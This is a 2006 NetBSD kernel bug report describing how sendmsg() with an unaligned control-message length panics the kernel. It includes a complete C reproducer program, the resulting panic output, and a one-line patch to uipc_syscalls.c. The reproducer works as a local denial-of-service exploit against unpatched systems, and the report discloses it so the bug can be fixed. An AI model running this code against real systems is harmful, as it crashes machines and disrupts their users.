Subject: kern/34873: sendmsg() can cause kernel panic
To: None <kern-bug-people@netbsd.org, gnats-admin@netbsd.org,>
From: None <ryo@nerv.org>
List: netbsd-bugs
Date: 10/21/2006 14:20:00
>Number: 34873
>Category: kern
>Synopsis: sendmsg() can cause kernel panic
>Confidential: no
>Severity: serious
>Priority: high
>Responsible: kern-bug-people
>State: open
>Class: sw-bug
>Submitter-Id: net
>Arrival-Date: Sat Oct 21 14:20:00 +0000 2006
>Originator: Ryo Shimizu
>Release: NetBSD 4.99.3
>Organization:
>Environment:
System: NetBSD r9.nerv.org 4.99.3 NetBSD 4.99.3 (R9) #297: Sun Oct 8 16:23:07 JST 2006 ryo@r9.nerv.org:/usr/src/sys/arch/amd64/compile/R9 amd64
Architecture: x86_64
Machine: amd64
>Description:
illegal cmsg_len is passed through to uipc_usrreq.c:unp_internalize()
because msg_controllen was checked without __CMSG_ALIGN in sendit().
I tested on only amd64, but it can perhaps occur on all 64bit archtecture.
>How-To-Repeat:
$ cat sendmsg_panic.c
#include <sys/types.h>
#include <sys/socket.h>
#include <sys/un.h>
#include <netinet/in.h>
#include <stdio.h>
#include <stdlib.h>
#include <errno.h>
#define PATH_SOCKET "/tmp/.writed-socket"
/* #define CMSG_LENGTH __CMSG_ALIGN(sizeof(struct cmsghdr)) /* OK */
#define CMSG_LENGTH (sizeof(struct cmsghdr)) /* illegal size. PANIC! */
int
create_socket()
{
int s;
struct sockaddr_un sun;
if ((s = socket(AF_UNIX, SOCK_STREAM, IPPROTO_IP)) == -1) {
perror("socket");
return -1;
}
sun.sun_family = AF_UNIX;
strcpy(sun.sun_path, PATH_SOCKET);
if (unlink(sun.sun_path) != 0 && errno != ENOENT) {
perror("unlink");
goto err1;
}
if (bind(s, (struct sockaddr *)&sun, sizeof(sun)) != 0) {
perror("bind");
goto err;
}
if (listen(s, 5) < 0) {
perror("listen");
goto err;
}
return s;
err:
unlink(sun.sun_path);
err1:
close(s);
return -1;
}
int
open_socket(char *path)
{
int s;
struct sockaddr_un sun;
if ((s = socket(AF_UNIX, SOCK_STREAM, IPPROTO_IP)) == -1) {
perror("socket");
return -1;
}
sun.sun_family = AF_UNIX;
strcpy(sun.sun_path, path);
if (connect(s, (struct sockaddr *)&sun, sizeof(sun)) == -1) {
perror("connect");
close(s);
return -1;
}
return s;
}
void
server()
{
int s, ns;
int rc;
int value;
struct iovec iov;
struct msghdr msg;
struct cmsghdr *cmsg;
if ((s = create_socket()) < 0) {
printf("create_socket: error\n");
return;
}
cmsg = malloc(CMSG_LENGTH);
memset(cmsg,0,CMSG_LENGTH);
cmsg->cmsg_len = CMSG_LENGTH;
iov.iov_base = &value;
iov.iov_len = sizeof(value);
msg.msg_iov = &iov;
msg.msg_iovlen = 1;
msg.msg_name = NULL;
msg.msg_namelen = 0;
msg.msg_control = cmsg;
msg.msg_controllen = CMSG_LENGTH;
{
ns = accept(s, NULL, 0);
if (ns < 0) {
perror("accept");
return;
}
if ((rc = recvmsg(ns, &msg, 0)) < 0) {
perror("recvmsg");
return;
}
printf("recvmsg: rc=%d, recv value=0x%08x\n",rc, value);
}
}
void
client()
{
int s;
int value;
int rc;
struct iovec iov;
struct msghdr msg;
struct cmsghdr *cmsg;
if ((s = open_socket(PATH_SOCKET)) < 0) {
printf("cannot open socket\n");
return;
}
cmsg = malloc(CMSG_LENGTH);
memset(cmsg,0,CMSG_LENGTH);
cmsg->cmsg_level = SOL_SOCKET;
cmsg->cmsg_type = SCM_RIGHTS;
cmsg->cmsg_len = CMSG_LENGTH;
value = 0x12345678;
iov.iov_base = &value;
iov.iov_len = sizeof(value);
msg.msg_iov = &iov;
msg.msg_iovlen = 1;
msg.msg_name = NULL;
msg.msg_namelen = 0;
msg.msg_control = cmsg;
msg.msg_controllen = CMSG_LENGTH;
if ((rc = sendmsg(s, &msg, 0)) < 0) {
perror("sendmsg");
return;
}
printf("sendmsg: rc=%d\n",rc);
}
int
main(argc, argv)
int argc;
char *argv[];
{
pid_t pid;
pid = fork();
if (pid < 0) {
perror("fork");
exit(1);
}
if (pid) {
server();
} else {
sleep(1);
client();
}
return 0;
}
$ cc sendmsg_panic.c
$ ./a.out
panic: kernel diagnostic assertion "size > 0" failed: file "../../../../uvm/uvm_map.c", line 975
Stopped in pid 559.1 (a.out) at netbsd:cpu_Debugger+0x1: ret
db>
>Fix:
Index: uipc_syscalls.c
===================================================================
RCS file: /cvsroot/src/sys/kern/uipc_syscalls.c,v
retrieving revision 1.103
diff -a -u -r1.103 uipc_syscalls.c
--- uipc_syscalls.c 12 Oct 2006 01:32:19 -0000 1.103
+++ uipc_syscalls.c 16 Oct 2006 07:53:51 -0000
@@ -512,7 +512,7 @@
} else
to = 0;
if (mp->msg_control) {
- if (mp->msg_controllen < sizeof(struct cmsghdr)) {
+ if (mp->msg_controllen < CMSG_ALIGN(sizeof(struct cmsghdr))) {
error = EINVAL;
goto bad;
}